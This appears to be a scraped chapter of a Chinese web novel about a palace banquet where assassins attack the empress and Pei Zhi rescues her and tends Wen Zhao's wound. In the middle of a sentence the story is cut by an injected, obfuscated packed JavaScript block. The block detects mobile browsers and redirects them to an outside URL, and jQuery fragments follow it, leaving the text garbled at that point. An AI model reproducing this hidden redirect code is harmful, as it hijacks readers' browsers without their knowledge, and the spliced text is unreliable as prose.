靠北的高台上设了主位,是皇后和几位妃嫔的座次,闻昭的位置属于中段偏上,宫宴是每人面前一个小桌案,案上铺着锦缎,摆着银盘玉盏,闻昭有点饿了,扫了一眼面前的菜色,心情好多了。
不愧是皇家,奢靡华贵。
闻昭落座后,裴行风在她旁边坐下,给她斟了一杯茶。
“渴不渴?”他把茶盏递过来,闻昭没接,也不看他,只当他是空气。
裴行风也不知道是不是转性了,这些日子颇为乖觉,没出去眠花宿柳,甚至就连莺莺姑娘貌似也不十分上心,倒是对她客客气气的,客气的让闻昭害怕了都。
她摇摇头,淡淡道:“不必。”
殿里的人越来越多,衣香鬓影,珠围翠绕。闻昭认出了几张熟悉的面孔——顾婉贞坐在对面,穿了一件鹅黄色的褙子,正跟旁边的人说话,看见闻昭,微微点了点头。还有几个在赏花会上见过的贵女,三三两两地聚在一起,窃窃私语。
闻昭专注于发呆,不想跟任何人寒暄。
宴席开始的时候,皇后才姗姗来迟。
她穿了一件大红织金的凤袍,头戴九尾凤冠,被一群宫女簇拥着从侧门进来,步履从容,仪态万方。众人齐齐起身行礼,皇后在主位坐下,抬手虚虚一扶,笑道:“都坐吧,今日是家宴,不必拘礼。”
殿内的气氛顿时松快了不少。
丝竹声起,舞姬鱼贯而入,彩袖翻飞,裙裾飘扬。
酒过三巡,菜过五味,殿里的说话声渐渐大了起来,觥筹交错,笑语喧哗。
闻昭没什么胃口,夹了一筷子菜,搁在嘴里嚼了半天也没尝出什么味道。她放下筷子,端起茶盏,目光漫无目的地扫过殿内。
裴行风凑过来,低声说:“你不爱吃这些?我让人去弄碗面来?”
“不用。”闻昭摇头,“不饿。”
裴行风看了看她,没再多说,只是把她面前的碟子换了一碟新上的桂花糕,悄声道:“这个清淡些,你尝尝。”
闻昭看了他一眼,以一种打定主意要把自己饿死的节奏摇头。
裴行风:“……”
他似乎有点破防,“就这么烦我?”
闻昭这回点头很快。
裴行风:”……“
他挠了挠头,语气放低了些,“好吧其实我也是有事相求,具体的在这里说也不方便,等宫宴散了,回宫路上我与你细细评说。”
闻昭警惕的看他一眼,“和男女之事有关?”
“你怎么知道?”
闻昭心想,你除了那点事还能有什么事。
俗话说大马哈鱼为了交配可以游遍整个地球,我看你裴行风也可以。
但是好歹现在寄人篱下,闻昭还是稍微客气了些的,“你要是写一封何离书来,我绝对什么忙都帮。”
裴行风立马坐远了。
可是没过一会他又坐过来了,“你想不想知道,裴植今天为什么没来?”
闻昭一怔,她张了张嘴,在裴行风期待的眼神中又闭上了。
她摇头:“不想。”
裴行风笑了笑,没说话,只说:“我这个好弟弟……前途无量啊。”
闻昭正要追问,殿顶的琉璃灯突然晃了一下,她的注意力立马被吸引了过去,紧接着下一秒,殿顶突然炸开了一个大洞!
只听“轰——”地一声,碎瓦片和木屑哗啦啦地往下落,宴席上汤水四溅,尖叫声四起,几个黑影从洞中跃下,身手矫健,落地无声,手中都持着明晃晃的刀!
“有刺客!”
不知是谁喊了一声,殿内顿时乱成一团,闻昭一晃眼的工夫,目光所及之处人影重叠,贵女们尖叫着往门口涌,桌子被推倒,杯盏碎了一地,丝竹声戛然而止,取而代之的是哭喊声和脚步声。
闻昭霍然站起,下意识地往后退了一步。
那几个人直奔主位而去。
皇后身边的宫女尖叫着护上去,被一刀划开了手臂,血溅在凤袍上。皇后脸色煞白,往后退了几步,脚下一绊,摔倒在地。
殿内的侍卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451384|201175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经拔刀冲上来了,可刺客离皇后太近,侍卫们投鼠忌器,不敢贸然上前。
紧接着,闻昭看见一个黑影从殿外来,目的地明确的向前冲,这人动作飞快,一把推开挡在面前的桌子,几步跨到皇后身边,抽出腰间佩剑,电光火石之间,
金铁交击的声音刺耳地响起。
这人的动作又快又狠,剑法凌厉,几招就把那个刺客逼退了两步,他剑法又快,杀得几名刺客近不得身,而与此同时,禁军也到了。
领头的将领一身铁甲,手持**,带着人冲进来,迅速将刺客围住,刀光剑影,杀声震天,不到一盏茶的功夫,三个刺客被当场格杀,剩下两个被按在地上,嘴里还在骂骂咧咧。
而直到人影散去,局势明朗,闻昭方才看清,这人竟是裴植。
他侧对着她,收了剑,闻昭看见他胸口起伏着,袖口叶被划开了一道口子。
皇后被宫女们扶起来,脸色还是白的,但已经稳住了,她看了裴植一眼,点了点头,声音有些发颤:“裴家二郎,好样的。”
裴植躬身行礼,声音平稳:“臣分内之事。”
闻昭站在一片狼藉中,看着满地的碎瓦片和翻倒的桌案,倒不至于多惊恐,不过心跳加快也总是有的,她往旁边看了一眼,裴行风早就不知道去哪了,现场只有稀稀拉拉几个人还在殿内,而裴植也走了过来,
低头看了她一眼,忽然皱了皱眉。
“你受伤了?”
闻昭一愣,低头一看,才发现自己手背上有一道浅浅的血痕,不知道是什么时候被碎瓦片划的,血已经凝了,不怎么疼。
“没事。”她说,把手缩进袖子里。
裴植却不依,他拧着眉从怀里掏出一块帕子,不由分说地拉过她的手,轻轻包住了那道伤口,他动作很轻,和他方才杀伐决断的样子判若两人。
“回去让大夫看看。”他说,语气里带着一丝不容拒绝的认真。
闻昭看了他一眼,把手抽回来。
“知道了。”她说。